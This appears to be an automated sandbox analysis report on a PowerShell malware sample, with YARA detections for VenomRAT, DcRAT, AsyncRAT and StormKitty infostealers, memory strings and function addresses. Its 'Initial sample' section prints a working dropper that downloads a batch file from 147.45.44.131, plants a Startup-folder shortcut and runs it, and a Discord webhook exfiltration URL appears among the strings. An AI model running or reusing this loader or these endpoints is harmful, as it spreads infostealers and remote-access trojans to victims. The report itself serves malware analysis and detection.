Source: powershell.exe, 00000005.00000002.2214594466.000001C572930000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C501B6E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000007.00000003.2090332553.000002AC7094F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000007.00000003.2090499411.000002AC70927000.00000004.00000020.00020000.00000000.sdmp, ivm1acbc.dll.7.dr	String found in binary or memory: http://147.45.44.131/infopage/tvsqyp.exep
Source: powershell.exe, 00000005.00000002.2119654901.000001C501940000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44X
Source: powershell.exe, 00000005.00000002.2119654901.000001C501B6E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C501940000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.H
Source: RegAsm.exe, 0000000D.00000002.4533567952.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: RegAsm.exe, 0000000D.00000002.4533567952.00000000057F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/env
Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io/ip
Source: RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: powershell.exe, 00000000.00000002.2087317600.000001D59CBD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2087317600.000001D59CA94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2060937357.000001D58E449000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C510091000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C501CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.2119654901.000001C5002BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000000.00000002.2060937357.000001D58CA21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C500001000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4520096797.0000000003161000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.2119654901.000001C5002BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C500485000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.newtonsoft.com/jsonschema
Source: powershell.exe, 00000000.00000002.2060937357.000001D58CA21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C500001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.2119654901.000001C501CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.2119654901.000001C501CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.2119654901.000001C501CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1016614786533969920/fMJOOjA1pZqjV8_s0JC86KN9Fa0FeGPEHaEak8WTADC18s5
Source: RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v6/users/
Source: powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C500485000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C501B6E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C501B21000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://github.com/LimerBoy/StormKitty
Source: powershell.exe, 00000005.00000002.2119654901.000001C5002BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.2060937357.000001D58DBCD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C500F40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000000.00000002.2087317600.000001D59CBD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2087317600.000001D59CA94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2060937357.000001D58E449000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C510091000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C501CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354cIt
Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://urn.to/r/sds_see
Source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://urn.to/r/sds_seeaCould

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected Keylogger Generic

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7796, type: MEMORYSTR

Yara detected VenomRAT

Source: Yara match	File source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7796, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: dump.pcap, type: PCAP	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.powershell.exe.1c501c9e7c8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.powershell.exe.1c5004d8480.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.powershell.exe.1c501c98be0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.powershell.exe.1c501b214a6.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.powershell.exe.1c5004892b0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.powershell.exe.1c500485e26.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.powershell.exe.1c500485e26.6.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.powershell.exe.1c501b214a6.5.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7580, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7580, type: MEMORYSTR	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: RegAsm.exe PID: 7796, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: RegAsm.exe PID: 7796, type: MEMORYSTR	Matched rule: Detects AsyncRAT Author: ditekSHen

.NET source code contains very large strings

Source: 5.2.powershell.exe.1c501b250c0.3.raw.unpack, Knvbl.cs	Long String: Length: 14748
Source: 5.2.powershell.exe.1c572920000.12.raw.unpack, Knvbl.cs	Long String: Length: 14748
Source: 5.2.powershell.exe.1c501b36680.4.raw.unpack, Knvbl.cs	Long String: Length: 14748
Source: 5.2.powershell.exe.1c5004892b0.7.raw.unpack, Knvbl.cs	Long String: Length: 14748

Found malicious URL file

Source: CKi4EZWZsC.ps1

Initial sample: $batUrl = "http://147.45.44.131/infopage/egq53qs.bat"$batFilePath = "C:\Windows\Temp\Package.bat"$startupFolder = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"$urlShortcutPath = Join-Path -Path $startupFolder -ChildPath "DeleteApp.url"$headers = @{ "X-Special-Header" = "qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq"}Invoke-WebRequest -Uri $batUrl -Headers $headers -OutFile $batFilePathif (-Not (Test-Path $batFilePath)) { exit}$urlContent = @"[InternetShortcut]URL=file:///$batFilePath"@Set-Content -Path $urlShortcutPath -Value $urlContent -Encoding ASCIIStart-Process -FilePath "cmd.exe" -ArgumentList "/c `"$batFilePath`"" -NoNewWindow

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_013A3370 NtProtectVirtualMemory,		13_2_013A3370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_013A2F19 NtProtectVirtualMemory,		13_2_013A2F19

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848F4D2F8	5_2_00007FF848F4D2F8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848F45F80	5_2_00007FF848F45F80
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848F4BA99	5_2_00007FF848F4BA99
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848F4EAD8	5_2_00007FF848F4EAD8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848F4E318	5_2_00007FF848F4E318
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848F5CEA0	5_2_00007FF848F5CEA0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF849011FD7	5_2_00007FF849011FD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_013A27A0	13_2_013A27A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_013A2790	13_2_013A2790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_013A2F19	13_2_013A2F19
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_05C4E328	13_2_05C4E328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_05C4EBF8	13_2_05C4EBF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_05C49648	13_2_05C49648
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_05C4F0E8	13_2_05C4F0E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_05C4DFE0	13_2_05C4DFE0
